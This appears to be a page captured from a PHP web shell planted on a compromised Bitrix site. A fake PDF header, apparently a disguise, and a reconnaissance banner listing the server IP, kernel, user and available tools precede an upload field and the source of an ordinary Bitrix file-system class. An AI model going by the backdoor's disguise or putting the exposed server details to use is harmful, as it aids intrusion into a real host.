%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.144.14.150 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/io/ |
Upload File : |
<?php namespace Bitrix\Main\IO; use Bitrix\Main; abstract class FileSystemEntry { protected $path; protected $originalPath; protected $pathPhysical; protected $siteId; public function __construct($path, $siteId = null) { if ($path == '') throw new InvalidPathException($path); $this->originalPath = $path; $this->path = Path::normalize($path); $this->siteId = $siteId; if ($this->path == '') throw new InvalidPathException($path); } public function isSystem() { if (preg_match("#/\\.#", $this->path)) return true; $documentRoot = static::getDocumentRoot($this->siteId); if (mb_substr($this->path, 0, mb_strlen($documentRoot)) === $documentRoot) { $relativePath = mb_substr($this->path, mb_strlen($documentRoot)); $relativePath = ltrim($relativePath, "/"); if (($pos = mb_strpos($relativePath, "/")) !== false) $s = mb_substr($relativePath, 0, $pos); else $s = $relativePath; $s = mb_strtolower(rtrim($s, ".")); $ar = array( "bitrix" => 1, Main\Config\Option::get("main", "upload_dir", "upload") => 1, "local" => 1, "urlrewrite.php" => 1, ); if (isset($ar[$s])) return true; } return false; } public function getName() { return Path::getName($this->path); } public function getDirectoryName() { return Path::getDirectory($this->path); } public function getPath() { return $this->path; } public function getDirectory() { return new Directory($this->getDirectoryName()); } abstract public function getCreationTime(); abstract public function getLastAccessTime(); abstract public function getModificationTime(); abstract public function isExists(); public abstract function isDirectory(); public abstract function isFile(); public abstract function isLink(); public abstract function markWritable(); public abstract function getPermissions(); public abstract function delete(); public function getPhysicalPath() { if (is_null($this->pathPhysical)) $this->pathPhysical = Path::convertLogicalToPhysical($this->path); return $this->pathPhysical; } public function rename($newPath) { $newPathNormalized = Path::normalize($newPath); $success = true; if ($this->isExists()) $success = rename($this->getPhysicalPath(), Path::convertLogicalToPhysical($newPathNormalized)); if ($success) { $this->originalPath = $newPath; $this->path = $newPathNormalized; $this->pathPhysical = null; } return $success; } protected static function getDocumentRoot($siteId) { if($siteId === null) { $documentRoot = Main\Application::getDocumentRoot(); } else { $documentRoot = Main\SiteTable::getDocumentRoot($siteId); } return $documentRoot; } }